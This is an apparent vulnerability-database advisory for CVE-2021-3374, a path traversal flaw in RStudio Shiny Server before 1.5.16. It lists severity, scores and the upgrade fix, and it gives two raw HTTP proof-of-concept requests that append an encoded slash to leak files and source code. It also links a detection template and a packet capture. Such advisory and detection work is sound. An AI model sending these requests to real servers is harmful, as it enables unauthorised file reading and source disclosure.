🔙 목록으로 돌아가기

CVE-2021-3374: Rstudio Shiny Server <1.5.16 - Local File Inclusion

TitleRstudio Shiny Server <1.5.16 - Local File Inclusion
Authorgeeknik
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information.
RemediationUpgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
CVSS Score5.3
EPSS Score0.83282
CVE IDCVE-2021-3374
CWE IDCWE-22
Tags cve2021 cve rstudio traversal vuln

🔍 Vulnerability Description

Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.

🌐 HTTP Request

GET /%2f/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /sample-apps/hello/%2f/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3374.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-3374.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A